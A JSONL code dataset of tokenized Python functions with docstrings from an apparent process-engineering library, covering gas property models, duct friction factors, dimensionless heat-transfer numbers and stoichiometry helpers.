{"signature": "def __call__(self, **state):", "body": "return self.calculate(**state)<EOL>", "docstring": "For details about this method, please refer to the calculate method.", "id": "f15852:c2:m1"}
{"signature": "def calculate(self, **state):", "body": "if not self.state_validator.validate(state):<EOL><INDENT>msg = f\"<STR_LIT>\"<EOL>msg += f\"<STR_LIT>\"<EOL>for key, value in self.state_validator.errors.items():<EOL><INDENT>msg += '<STR_LIT>' % (key, value)<EOL><DEDENT>msg = msg[<NUM_LIT:0>:-<NUM_LIT:1>]+'<STR_LIT:.>'<EOL>raise ValidationError(msg)<EOL><DEDENT>", "docstring": "Base calculate method for models.\nValidates the material state parameter(s).\n\n:param **state: The material state", "id": "f15852:c2:m3"}
{"signature": "def calculate(self, **state):", "body": "super().calculate(**state)<EOL>return <NUM_LIT:1.0> / state[\"<STR_LIT:T>\"]<EOL>", "docstring": "Calculate the thermal expansion coefficient at the specified\ntemperature:\n\n:param T: [K] temperature\n\n:returns: [1/K] thermal expansion coefficient\n\nThe **state parameter contains the keyword argument(s) specified above\nthat are used to describe the state of the material.", "id": "f15853:c0:m1"}
{"signature": "def calculate(self, **state):", "body": "super().calculate(**state)<EOL>return self.mm * self.P / R / state[\"<STR_LIT:T>\"]<EOL>", "docstring": "Calculate the density at the specified temperature.\n\n:param T: [K] temperature\n\n:returns: [kg/m3] density\n\nThe **state parameter contains the keyword argument(s) specified above\\\nthat are used to describe the state of the material.", "id": "f15853:c1:m1"}
{"signature": "def calculate(self, **state):", "body": "super().calculate(**state)<EOL>return self.mm * state[\"<STR_LIT:P>\"] / R / state[\"<STR_LIT:T>\"]<EOL>", "docstring": "Calculate the density at the specified temperature and pressure.\n\n:param T: [K] temperature\n:param P: [Pa] pressure\n\n:returns: [kg/m3] density\n\nThe **state parameter contains the keyword argument(s) specified above\\\nthat are used to describe the state of the material.", "id": "f15853:c2:m1"}
{"signature": "def calculate(self, **state):", "body": "super().calculate(**state)<EOL>mm_average = <NUM_LIT:0.0><EOL>for compound, molefraction in state[\"<STR_LIT:x>\"].items():<EOL><INDENT>mm_average += molefraction * mm(compound)<EOL><DEDENT>mm_average /= <NUM_LIT><EOL>return mm_average * state[\"<STR_LIT:P>\"] / R / state[\"<STR_LIT:T>\"]<EOL>", "docstring": "Calculate the density at the specified temperature, pressure, and\ncomposition.\n\n:param T: [K] temperature\n:param P: [Pa] pressure\n:param x: [mole fraction] dictionary of compounds and mole fractions\n\n:returns: [kg/m3] density\n\nThe **state parameter contains the keyword argument(s) specified above\\\nthat are used to describe the state of the material.", "id": "f15853:c3:m1"}
{"signature": "def _path(relative_path):", "body": "path = modules[__name__].__file__<EOL>path = realpath(path)<EOL>path = dirname(path)<EOL>return join(path, relative_path)<EOL>", "docstring": "Calculate the full path of the provided relative path.\n\n:param relative_path: relative path (str).\n:return: str", "id": "f15854:m0"}
{"signature": "def _create_ds_dict(namelist):", "body": "return {n: DataSet(_path(f\"<STR_LIT>\")) for n in namelist}<EOL>", "docstring": "Create a data set dictionary from the provided list of data set names.\n\n:param namelist: list of data set names (str).\n:return: {str: DataSet}", "id": "f15854:m1"}
{"signature": "def _create_polynomial_model(<EOL>name: str,<EOL>symbol: str,<EOL>degree: int,<EOL>ds: DataSet,<EOL>dss: dict):", "body": "ds_name = ds.name.split(\"<STR_LIT:.>\")[<NUM_LIT:0>].lower()<EOL>file_name = f\"<STR_LIT>\"<EOL>newmod = PolynomialModelT.create(ds, symbol, degree)<EOL>newmod.plot(dss, _path(f\"<STR_LIT>\"), False)<EOL>newmod.write(_path(f\"<STR_LIT>\"))<EOL>", "docstring": "Create a polynomial model to describe the specified property based on the\nspecified data set, and save it to a .json file.\n\n:param name: material name.\n:param symbol: property symbol.\n:param degree: polynomial degree.\n:param ds: the source data set.\n:param dss: dictionary of all datasets.", "id": "f15854:m2"}
{"signature": "def _create_air():", "body": "name = \"<STR_LIT>\"<EOL>namel = name.lower()<EOL>mm = <NUM_LIT>  <EOL>ds_dict = _create_ds_dict([<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\"])<EOL>active_ds = \"<STR_LIT>\"<EOL>model_dict = {<EOL>\"<STR_LIT>\": IgRhoT(mm, <NUM_LIT>),<EOL>\"<STR_LIT>\": IgBetaT()}<EOL>model_type = \"<STR_LIT>\"<EOL>for property in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:k>\"]:<EOL><INDENT>name = f\"<STR_LIT>\"<EOL>model_dict[property] = PolynomialModelT.read(_path(name))<EOL><DEDENT>material = Material(name, StateOfMatter.gas, model_dict)<EOL>return material, ds_dict<EOL>", "docstring": "Create a dictionary of datasets and a material object for air.\n\n:return: (Material, {str, DataSet})", "id": "f15854:m3"}
{"signature": "def _create_argon():", "body": "name = \"<STR_LIT>\"<EOL>namel = name.lower()<EOL>mm = M(\"<STR_LIT>\")  <EOL>ds_dict = _create_ds_dict([<EOL>\"<STR_LIT>\"])<EOL>active_ds = \"<STR_LIT>\"<EOL>model_dict = {<EOL>\"<STR_LIT>\": IgRhoT(mm, <NUM_LIT>),<EOL>\"<STR_LIT>\": IgBetaT()}<EOL>model_type = \"<STR_LIT>\"<EOL>for property in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:k>\"]:<EOL><INDENT>name = f\"<STR_LIT>\"<EOL>model_dict[property] = PolynomialModelT.read(_path(name))<EOL><DEDENT>material = Material(name, StateOfMatter.gas, model_dict)<EOL>return material, ds_dict<EOL>", "docstring": "Create a dictionary of datasets and a material object for argon.\n\n:return: (Material, {str, DataSet})", "id": "f15854:m4"}
{"signature": "def _create_ammonia():", "body": "name = \"<STR_LIT>\"<EOL>namel = name.lower()<EOL>mm = M(\"<STR_LIT>\")  <EOL>ds_dict = _create_ds_dict([<EOL>f\"<STR_LIT>\"])<EOL>active_ds = f\"<STR_LIT>\"<EOL>model_dict = {<EOL>\"<STR_LIT>\": IgBetaT()}<EOL>model_type = \"<STR_LIT>\"<EOL>for property in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:k>\"]:<EOL><INDENT>name = f\"<STR_LIT>\"<EOL>model_dict[property] = PolynomialModelT.read(_path(name))<EOL><DEDENT>material = Material(name, StateOfMatter.gas, model_dict)<EOL>return material, ds_dict<EOL>", "docstring": "Create a dictionary of datasets and a material object for ammonia.\n\n:return: (Material, {str, DataSet})", "id": "f15854:m5"}
{"signature": "def _create_carbon_dioxide():", "body": "name = \"<STR_LIT>\"<EOL>namel = name.lower().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:->\")<EOL>mm = M(\"<STR_LIT>\")  <EOL>ds_dict = _create_ds_dict([<EOL>f\"<STR_LIT>\"])<EOL>active_ds = f\"<STR_LIT>\"<EOL>model_dict = {<EOL>\"<STR_LIT>\": IgBetaT()}<EOL>model_type = \"<STR_LIT>\"<EOL>for property in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:k>\"]:<EOL><INDENT>name = f\"<STR_LIT>\"<EOL>model_dict[property] = PolynomialModelT.read(_path(name))<EOL><DEDENT>material = Material(name, StateOfMatter.gas, model_dict)<EOL>return material, ds_dict<EOL>", "docstring": "Create a dictionary of datasets and a material object for carbon dioxide.\n\n:return: (Material, {str, DataSet})", "id": "f15854:m6"}
{"signature": "def _create_carbon_monoxide():", "body": "name = \"<STR_LIT>\"<EOL>namel = name.lower().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:->\")<EOL>mm = M(\"<STR_LIT>\")  <EOL>ds_dict = _create_ds_dict([<EOL>f\"<STR_LIT>\"])<EOL>active_ds = f\"<STR_LIT>\"<EOL>model_dict = {<EOL>\"<STR_LIT>\": IgRhoT(mm, <NUM_LIT>),<EOL>\"<STR_LIT>\": IgBetaT()}<EOL>model_type = \"<STR_LIT>\"<EOL>for property in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:k>\"]:<EOL><INDENT>name = f\"<STR_LIT>\"<EOL>model_dict[property] = PolynomialModelT.read(_path(name))<EOL><DEDENT>material = Material(name, StateOfMatter.gas, model_dict)<EOL>return material, ds_dict<EOL>", "docstring": "Create a dictionary of datasets and a material object for carbon monoxide.\n\n:return: (Material, {str, DataSet})", "id": "f15854:m7"}
{"signature": "def _create_nitrogen():", "body": "name = \"<STR_LIT>\"<EOL>namel = name.lower().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:->\")<EOL>mm = M(\"<STR_LIT>\")  <EOL>ds_dict = _create_ds_dict([<EOL>f\"<STR_LIT>\"])<EOL>active_ds = f\"<STR_LIT>\"<EOL>model_dict = {<EOL>\"<STR_LIT>\": IgRhoT(mm, <NUM_LIT>),<EOL>\"<STR_LIT>\": IgBetaT()}<EOL>model_type = \"<STR_LIT>\"<EOL>for property in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:k>\"]:<EOL><INDENT>name = f\"<STR_LIT>\"<EOL>model_dict[property] = PolynomialModelT.read(_path(name))<EOL><DEDENT>material = Material(name, StateOfMatter.gas, model_dict)<EOL>return material, ds_dict<EOL>", "docstring": "Create a dictionary of datasets and a material object for nitrogen.\n\n:return: (Material, {str, DataSet})", "id": "f15854:m8"}
{"signature": "def _create_oxygen():", "body": "name = \"<STR_LIT>\"<EOL>namel = name.lower().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:->\")<EOL>mm = M(\"<STR_LIT>\")  <EOL>ds_dict = _create_ds_dict([<EOL>f\"<STR_LIT>\"])<EOL>active_ds = f\"<STR_LIT>\"<EOL>model_dict = {<EOL>\"<STR_LIT>\": IgRhoT(mm, <NUM_LIT>),<EOL>\"<STR_LIT>\": IgBetaT()}<EOL>model_type = \"<STR_LIT>\"<EOL>for property in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:k>\"]:<EOL><INDENT>name = f\"<STR_LIT>\"<EOL>model_dict[property] = PolynomialModelT.read(_path(name))<EOL><DEDENT>material = Material(name, StateOfMatter.gas, model_dict)<EOL>return material, ds_dict<EOL>", "docstring": "Create a dictionary of datasets and a material object for oxygen.\n\n:return: (Material, {str, DataSet})", "id": "f15854:m9"}
{"signature": "def _create_water_vapour():", "body": "name = \"<STR_LIT>\"<EOL>namel = name.lower().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:->\")<EOL>mm = M(\"<STR_LIT>\")  <EOL>ds_dict = _create_ds_dict([<EOL>f\"<STR_LIT>\"])<EOL>active_ds = f\"<STR_LIT>\"<EOL>model_dict = {<EOL>\"<STR_LIT>\": IgRhoT(mm, <NUM_LIT>),<EOL>\"<STR_LIT>\": IgBetaT()}<EOL>model_type = \"<STR_LIT>\"<EOL>for property in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:k>\"]:<EOL><INDENT>name = f\"<STR_LIT>\"<EOL>model_dict[property] = PolynomialModelT.read(_path(name))<EOL><DEDENT>material = Material(name, StateOfMatter.gas, model_dict)<EOL>return material, ds_dict<EOL>", "docstring": "Create a dictionary of datasets and a material object for water vapour.\n\n:return: (Material, {str, DataSet})", "id": "f15854:m10"}
{"signature": "def calculate(self, **state):", "body": "def phi(i, j, mu_i, mu_j):<EOL><INDENT>M_i = M(i)<EOL>M_j = M(j)<EOL>result = (<NUM_LIT:1.0> + (mu_i / mu_j)**<NUM_LIT:0.5> * (M_j / M_i)**<NUM_LIT>)**<NUM_LIT><EOL>result /= (<NUM_LIT> / sqrt(<NUM_LIT>))<EOL>result /= (<NUM_LIT:1.0> + M_i / M_j)**<NUM_LIT:0.5><EOL>return result<EOL><DEDENT>T = state['<STR_LIT:T>']<EOL>x = state['<STR_LIT:x>']<EOL>x_total = sum([<EOL>x for compound, x in x.items()<EOL>if compound in materials])<EOL>x = {<EOL>compound: x[compound]/x_total<EOL>for compound in x.keys()<EOL>if compound in materials}<EOL>result = <NUM_LIT:0.0>  <EOL>mu = {i: materials[i].mu(T=T) for i in x.keys()}<EOL>for i in x.keys():<EOL><INDENT>sum_i = <NUM_LIT:0.0><EOL>for j in x.keys():<EOL><INDENT>if j == i: continue<EOL>sum_i += x[j] * phi(i, j, mu[i], mu[j])<EOL><DEDENT>result += x[i] * mu[i] / (x[i] + sum_i)<EOL><DEDENT>return result<EOL>", "docstring": "Calculate dynamic viscosity at the specified temperature and\ncomposition:\n\n:param T: [K] temperature\n:param x: [mole fraction] composition dictionary , e.g.\n  {'CO': 0.25, 'CO2': 0.25, 'N2': 0.25, 'O2': 0.25}\n\n:returns: [Pa.s] dynamic viscosity\n\nThe **state parameter contains the keyword argument(s) specified above\nthat are used to describe the state of the material.", "id": "f15854:c0:m1"}
{"signature": "def calculate(self, **state):", "body": "T = state['<STR_LIT:T>']<EOL>x = state['<STR_LIT:x>']<EOL>x_total = sum([<EOL>x for compound, x in x.items()<EOL>if compound in materials])<EOL>x = {<EOL>compound: x[compound]/x_total<EOL>for compound in x.keys()<EOL>if compound in materials}<EOL>mu = {i: materials[i].mu(T=T) for i in x.keys()}<EOL>result = sum([mu[i] * x[i] * sqrt(M(i)) for i in x.keys()])<EOL>result /= sum([x[i] * sqrt(M(i)) for i in x.keys()])<EOL>return result<EOL>", "docstring": "Calculate dynamic viscosity at the specified temperature and\ncomposition:\n\n:param T: [K] temperature\n:param x: [mole fraction] composition dictionary , e.g.\n  {'CO': 0.25, 'CO2': 0.25, 'N2': 0.25, 'O2': 0.25}\n\n:returns: [Pa.s] dynamic viscosity\n\nThe **state parameter contains the keyword argument(s) specified above\nthat are used to describe the state of the material.", "id": "f15854:c1:m1"}
{"signature": "def calculate(self, **state):", "body": "T = state[\"<STR_LIT:T>\"]<EOL>x = state[\"<STR_LIT:x>\"]<EOL>x_total = sum([<EOL>x for compound, x in x.items()<EOL>if compound in materials])<EOL>x = {<EOL>compound: x[compound]/x_total<EOL>for compound in x.keys()<EOL>if compound in materials}<EOL>Cp = {i: materials[i].Cp(T=T) for i in x.keys()}<EOL>result = sum([Cp[i] * x[i] * M(i) for i in x.keys()])<EOL>result /= sum([x[i] * M(i) for i in x.keys()])<EOL>return result<EOL>", "docstring": "Calculate dynamic viscosity at the specified temperature and\ncomposition:\n\n:param T: [K] temperature\n:param x: [mole fraction] composition dictionary , e.g.\n  {\"CO\": 0.25, \"CO2\": 0.25, \"N2\": 0.25, \"O2\": 0.25}\n\n:returns: [J/kg/K] heat capacity\n\nThe **state parameter contains the keyword argument(s) specified above\nthat are used to describe the state of the material.", "id": "f15854:c2:m1"}
{"signature": "def f_l(Re_D):", "body": "return <NUM_LIT:64> / Re_D<EOL>", "docstring": "Calculate the friction factor of laminar flow (l).\n\n:param Re_D: Reynolds number for the specified hydraulic diameter.\n:return: Friction factor.\n\nSource: lienhard2018, Fig. 7.6.", "id": "f15857:m1"}
{"signature": "def f_ts(Re_D):", "body": "return <NUM_LIT:1> / (<NUM_LIT> * log10(Re_D) - <NUM_LIT>)**<NUM_LIT:2><EOL>", "docstring": "Calculate the friction factor of turbulent flow (t) in a smooth duct (s)\nfor the provided conditions.\n\n:param Re_D: Reynolds number for the specified hydraulic diameter.\n:return: Friction factor.\n\nSource: lienhard2018, Eq. 7.42.", "id": "f15857:m2"}
{"signature": "def f_tr_Haaland(Re_D, \u025b, D, warn=True):", "body": "if warn:<EOL><INDENT>try:<EOL><INDENT>if (\u025b / D) < <NUM_LIT:0.0> or (\u025b / D) > <NUM_LIT>:<EOL><INDENT>raise Warning(<EOL>f\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except Warning as w:<EOL><INDENT>ex_type, ex_value, ex_traceback = sys.exc_info()<EOL>print(color_warn(\"<STR_LIT>\"), ex_value)<EOL><DEDENT>try:<EOL><INDENT>if Re_D < <NUM_LIT> or Re_D > <NUM_LIT>:<EOL><INDENT>raise Warning(<EOL>f\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except Warning as w:<EOL><INDENT>ex_type, ex_value, ex_traceback = sys.exc_info()<EOL>print(color_warn(\"<STR_LIT>\"), ex_value)<EOL><DEDENT><DEDENT>return <NUM_LIT:1> / (<NUM_LIT> * log10((<NUM_LIT> / Re_D) + (\u025b / D / <NUM_LIT>)**<NUM_LIT>))**<NUM_LIT:2><EOL>", "docstring": "Calculate the friction factor of turbulent flow (t) in a rough duct (r) for\nthe provided conditions with Haaland's equation.\n\n:param Re_D: Reynolds number for the specified hydraulic diameter.\n:param \u025b: [m] Surface roughness.\n:param D: [m] Duct hydraulic diameter.\n:return: Friction factor.\n\nSource: lienhard2018, Eq. 7.50.", "id": "f15857:m3"}
{"signature": "def f_tr_Colebrook(Re_D, \u025b, D):", "body": "def cb(f, Re_D, \u025b, D):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>term1 = \u025b / D / <NUM_LIT><EOL>term2 = <NUM_LIT> / Re_D / sqrt(f)<EOL>return -<NUM_LIT:2> * log10(term1 + term2) - <NUM_LIT:1> / sqrt(f)<EOL><DEDENT>return root(cb, <NUM_LIT>, args=(Re_D, \u025b, D)).x[<NUM_LIT:0>]<EOL>", "docstring": "Calculate the friction factor of turbulent flow (t) a rough duct (r) for\nthe provided conditions with Colebrook's equation.\n\n:param Re_D: Reynolds number for the specified hydraulic diameter.\n:param \u025b: [m] Surface roughness.\n:param D: [m] Duct hydraulic diameter.\n:return: Friction factor.", "id": "f15857:m4"}
{"signature": "def D_h(A, P):", "body": "return <NUM_LIT:4> * A / P<EOL>", "docstring": "Calculate the hydraulic diameter of a duct.\n\n:param A: [m2] Internal cross sectional area of duct.\n:param P: [m] Internal perimeter of duct.\n:return: [m] Hydraulic diameter of duct.", "id": "f15857:m5"}
{"signature": "def \u0394p(f, L, D, \u03c1, v):", "body": "return f * (L / D) * (\u03c1 * v**<NUM_LIT:2> / <NUM_LIT:2>)<EOL>", "docstring": "Calculate the pressure drop for turbulent flow in a duct.\n\n:param f: Duct Darcy friction factor.\n:param L: [m] Duct length.\n:param D: [m] Duct hydraulic diameter.\n:param \u03c1: [kg/m3] Fluid density.\n:param v: [m/s] Average fluid velocity.\n:return: [Pa] Pressure drop.\n\nSource: lienhard2018, Eq. 3.25.", "id": "f15857:m6"}
{"signature": "def Nu_x(self, L, theta, Ts, **statef):", "body": "Tf = statef['<STR_LIT:T>']<EOL>thetar = radians(theta)<EOL>if self._isgas:<EOL><INDENT>self.Tr = Ts - <NUM_LIT> * (Ts - Tf)<EOL>beta = self._fluid.beta(T=Tf)<EOL><DEDENT>else:  <EOL><INDENT>self.Tr = Ts - <NUM_LIT:0.5> * (Ts - Tf)<EOL>beta = self._fluid.beta(T=self.Tr)<EOL><DEDENT>if Ts > Tf:  <EOL><INDENT>if <NUM_LIT:0.0> < theta < <NUM_LIT>:<EOL><INDENT>g = const.g*cos(thetar)<EOL><DEDENT>else:<EOL><INDENT>g = const.g<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>if -<NUM_LIT> < theta < <NUM_LIT:0.0>:<EOL><INDENT>g = const.g*cos(thetar)<EOL><DEDENT>else:<EOL><INDENT>g = const.g<EOL><DEDENT><DEDENT>nu = self._fluid.nu(T=self.Tr)<EOL>alpha = self._fluid.alpha(T=self.Tr)<EOL>Gr = dq.Gr(L, Ts, Tf, beta, nu, g)<EOL>Pr = dq.Pr(nu, alpha)<EOL>Ra = Gr * Pr<EOL>eq = [self.equation_dict[r]<EOL>for r in self.regions if r.contains_point(theta, Ra)][<NUM_LIT:0>]<EOL>return eq(self, Ra, Pr)<EOL>", "docstring": "Calculate the local Nusselt number.\n\n:param L: [m] characteristic length of the heat transfer surface\n:param theta: [\u00b0] angle of the surface with the vertical\n:param Ts: [K] heat transfer surface temperature\n:param Tf: [K] bulk fluid temperature\n\n:returns: float", "id": "f15858:c1:m7"}
{"signature": "def Nu_L(self, L, theta, Ts, **statef):", "body": "return self.Nu_x(L, theta, Ts, **statef) / <NUM_LIT><EOL>", "docstring": "Calculate the average Nusselt number.\n\n:param L: [m] characteristic length of the heat transfer surface\n:param theta: [\u00b0] angle of the surface with the vertical\n:param Ts: [K] heat transfer surface temperature\n:param **statef: [K] bulk fluid temperature\n\n:returns: float", "id": "f15858:c1:m8"}
{"signature": "def h_x(self, L, theta, Ts, **statef):", "body": "Nu_x = self.Nu_x(L, theta, Ts, **statef)<EOL>k = self._fluid.k(T=self.Tr)<EOL>return Nu_x * k / L<EOL>", "docstring": "Calculate the local heat transfer coefficient.\n\n:param L: [m] characteristic length of the heat transfer surface\n:param theta: [\u00b0] angle of the surface with the vertical\n:param Ts: [K] heat transfer surface temperature\n:param Tf: [K] bulk fluid temperature\n\n:returns: [W/m2/K] float", "id": "f15858:c1:m9"}
{"signature": "def h_L(self, L, theta, Ts, **statef):", "body": "Nu_L = self.Nu_L(L, theta, Ts, **statef)<EOL>k = self._fluid.k(T=self.Tr)<EOL>return Nu_L * k / L<EOL>", "docstring": "Calculate the average heat transfer coefficient.\n\n:param L: [m] characteristic length of the heat transfer surface\n:param theta: [\u00b0] angle of the surface with the vertical\n:param Ts: [K] heat transfer surface temperature\n:param Tf: [K] bulk fluid temperature\n\n:returns: [W/m2/K] float", "id": "f15858:c1:m10"}
{"signature": "def plot_regions(self):", "body": "for region in self.regions:<EOL><INDENT>region.plot_region()<EOL><DEDENT>plt.show()<EOL>", "docstring": "Plot all the regions.", "id": "f15858:c1:m11"}
{"signature": "def Gr(L: float, Ts: float, Tf: float, beta: float, nu: float, g: float):", "body": "return g * beta * (Ts - Tf) * L**<NUM_LIT> / nu**<NUM_LIT><EOL>", "docstring": "Calculate the Grashof number.\n\n:param L: [m] heat transfer surface characteristic length.\n:param Ts: [K] heat transfer surface temperature.\n:param Tf: [K] bulk fluid temperature.\n:param beta: [1/K] fluid coefficient of thermal expansion.\n:param nu: [m2/s] fluid kinematic viscosity.\n\n:returns: float\n\n.. math::\n    \\\\mathrm{Gr} = \\\\frac{g \\\\beta (Ts - Tinf ) L^3}{\\\\nu ^2}\n\nCharacteristic dimensions:\n    * vertical plate: vertical length\n    * pipe: diameter\n    * bluff body: diameter", "id": "f15861:m0"}
{"signature": "def Pr(nu: float, alpha: float) -> float:", "body": "return nu / alpha<EOL>", "docstring": "Calculate the Prandtl number.\n\n:param nu: [m2/s] fluid kinematic viscosity / momentum diffusivity.\n:param alpha: [m2/s] fluid thermal diffusivity.\n\n:returns: float", "id": "f15861:m1"}
{"signature": "def Re(L: float, v: float, nu: float) -> float:", "body": "return v * L / nu<EOL>", "docstring": "Calculate the Reynolds number.\n\n:param L: [m] surface characteristic length.\n:param v: [m/s] fluid velocity relative to the object.\n:param nu: [m2/s] fluid kinematic viscosity.\n\n:returns: float", "id": "f15861:m2"}
{"signature": "def Ra(L: float, Ts: float, Tf: float, alpha: float, beta: float, nu: float<EOL>) -> float:", "body": "return g * beta * (Ts - Tinf) * L**<NUM_LIT> / (nu * alpha)<EOL>", "docstring": "Calculate the Ralleigh number.\n\n:param L: [m] heat transfer surface characteristic length.\n:param Ts: [K] heat transfer surface temperature.\n:param Tf: [K] bulk fluid temperature.\n:param alpha: [m2/s] fluid thermal diffusivity.\n:param beta: [1/K] fluid coefficient of thermal expansion.\n:param nu: [m2/s] fluid kinematic viscosity.\n\n:returns: float\n\nRa = Gr*Pr\n\nCharacteristic dimensions:\n    * vertical plate: vertical length\n    * pipe: diameter\n    * bluff body: diameter", "id": "f15861:m3"}
{"signature": "def Nu(L: float, h: float, k: float) -> float:", "body": "return h * L / k<EOL>", "docstring": "Calculate the Nusselt number.\n\n:param L: [m] heat transfer surface characteristic length.\n:param h: [W/K/m2] convective heat transfer coefficient.\n:param k: [W/K/m] fluid thermal conductivity.\n\n:returns: float", "id": "f15861:m4"}
{"signature": "def Sh(L: float, h: float, D: float) -> float:", "body": "return h * L / D<EOL>", "docstring": "Calculate the Sherwood number.\n\n:param L: [m] mass transfer surface characteristic length.\n:param h: [m/s] mass transfer coefficient.\n:param D: [m2/s] fluid mass diffusivity.\n\n:returns: float", "id": "f15861:m5"}
{"signature": "def count_with_multiplier(groups, multiplier):", "body": "counts = collections.defaultdict(float)<EOL>for group in groups:<EOL><INDENT>for element, count in group.count().items():<EOL><INDENT>counts[element] += count*multiplier<EOL><DEDENT><DEDENT>return counts<EOL>", "docstring": "Update group counts with multiplier\n\n    This is for handling atom counts on groups like (OH)2\n\n    :param groups: iterable of Group/Element\n    :param multiplier: the number to multiply by", "id": "f15862:m0"}
{"signature": "def amount(compound, mass):", "body": "return mass / molar_mass(compound)<EOL>", "docstring": "Calculate the number of moles in the specified mass of a chemical compound.\n\n:param compound: Formula and phase of a compound, e.g. 'Fe2O3[S1]'. The\n  phase may be omitted.\n:param mass: [kg]\n\n:returns: Amount. [kmol]", "id": "f15862:m2"}
{"signature": "def amounts(masses):", "body": "return {compound: amount(compound, masses[compound])<EOL>for compound in masses.keys()}<EOL>", "docstring": "Calculate the amounts from the specified compound masses.\n\n:param masses: [kg] dictionary, e.g. {'SiO2': 3.0, 'FeO': 1.5}\n\n:returns: [kmol] dictionary", "id": "f15862:m3"}
{"signature": "def amount_fractions(masses):", "body": "n = amounts(masses)<EOL>n_total = sum(n.values())<EOL>return {compound: n[compound]/n_total for compound in n.keys()}<EOL>", "docstring": "Calculate the mole fractions from the specified compound masses.\n\n:param masses: [kg] dictionary, e.g. {'SiO2': 3.0, 'FeO': 1.5}\n\n:returns: [mole fractions] dictionary", "id": "f15862:m4"}
{"signature": "def mass(compound, amount):", "body": "return amount * molar_mass(compound)<EOL>", "docstring": "Calculate the mass of the specified amount of a chemical compound.\n\n:param compound: Formula and phase of a compound, e.g. 'Fe2O3[S1]'. The\n  phase may be omitted.\n:param amount: [kmol]\n\n:returns: Mass. [kg]", "id": "f15862:m5"}
{"signature": "def masses(amounts):", "body": "return {compound: mass(compound, amounts[compound])<EOL>for compound in amounts.keys()}<EOL>", "docstring": "Calculate the masses from the specified compound amounts.\n\n:param masses: [kmol] dictionary, e.g. {'SiO2': 3.0, 'FeO': 1.5}\n\n:returns: [kg] dictionary", "id": "f15862:m6"}
{"signature": "def mass_fractions(amounts):", "body": "m = masses(amounts)<EOL>m_total = sum(m.values())<EOL>return {compound: m[compound]/m_total for compound in m.keys()}<EOL>", "docstring": "Calculate the mole fractions from the specified compound amounts.\n\n:param amounts: [kmol] dictionary, e.g. {'SiO2': 3.0, 'FeO': 1.5}\n\n:returns: [mass fractions] dictionary", "id": "f15862:m7"}
{"signature": "def convert_compound(mass, source, target, element):", "body": "<EOL>target_mass_fraction = element_mass_fraction(target, element)<EOL>if target_mass_fraction == <NUM_LIT:0.0>:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>else:<EOL><INDENT>source_mass_fraction = element_mass_fraction(source, element)<EOL>return mass * source_mass_fraction / target_mass_fraction<EOL><DEDENT>", "docstring": "Convert the specified mass of the source compound to the target using\nelement as basis.\n\n:param mass: Mass of from_compound. [kg]\n:param source: Formula and phase of the original compound, e.g.\n  'Fe2O3[S1]'.\n:param target: Formula and phase of the target compound, e.g. 'Fe[S1]'.\n:param element: Element to use as basis for the conversion, e.g. 'Fe' or\n  'O'.\n\n:returns: Mass of target. [kg]", "id": "f15862:m8"}
{"signature": "def element_mass_fraction(compound, element):", "body": "coeff = stoichiometry_coefficient(compound, element)<EOL>if coeff == <NUM_LIT:0.0>:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>formula_mass = molar_mass(compound)<EOL>element_mass = molar_mass(element)<EOL>return coeff * element_mass / formula_mass<EOL>", "docstring": "Determine the mass fraction of an element in a chemical compound.\n\n:param compound: Formula of the chemical compound, 'FeCr2O4'.\n:param element: Element, e.g. 'Cr'.\n\n:returns: Element mass fraction.", "id": "f15862:m9"}
{"signature": "def element_mass_fractions(compound, elements):", "body": "return [element_mass_fraction(compound, element)<EOL>for element in elements]<EOL>", "docstring": "Determine the mass fractions of a list of elements in a chemical compound.\n\n:param compound: Formula and phase of a chemical compound, e.g.\n  'Fe2O3[S1]'.\n:param elements: List of elements, ['Si', 'O', 'Fe'].\n\n:returns: Mass fractions.", "id": "f15862:m10"}
{"signature": "def elements(compounds):", "body": "elementlist = [parse_compound(compound).count().keys()<EOL>for compound in compounds]<EOL>return set().union(*elementlist)<EOL>", "docstring": "Determine the set of elements present in a list of chemical compounds.\n\nThe list of elements is sorted alphabetically.\n\n:param compounds: List of compound formulas and phases, e.g.\n  ['Fe2O3[S1]', 'Al2O3[S1]'].\n\n:returns: List of elements.", "id": "f15862:m11"}
{"signature": "def molar_mass(compound='<STR_LIT>'):", "body": "result = <NUM_LIT:0.0><EOL>if compound is None or len(compound) == <NUM_LIT:0>:<EOL><INDENT>return result<EOL><DEDENT>compound = compound.strip()<EOL>parsed = parse_compound(compound)<EOL>return parsed.molar_mass()<EOL>", "docstring": "Determine the molar mass of a chemical compound.\n\n    The molar mass is usually the mass of one mole of the substance, but here\n    it is the mass of 1000 moles, since the mass unit used in auxi is kg.\n\n    :param compound: Formula of a chemical compound, e.g. 'Fe2O3'.\n\n    :returns: Molar mass. [kg/kmol]", "id": "f15862:m12"}
{"signature": "def stoichiometry_coefficient(compound, element):", "body": "stoichiometry = parse_compound(compound.strip()).count()<EOL>return stoichiometry[element]<EOL>", "docstring": "Determine the stoichiometry coefficient of an element in a chemical\ncompound.\n\n:param compound: Formula of a chemical compound, e.g. 'SiO2'.\n:param element:  Element, e.g. 'Si'.\n\n:returns: Stoichiometry coefficient.", "id": "f15862:m13"}
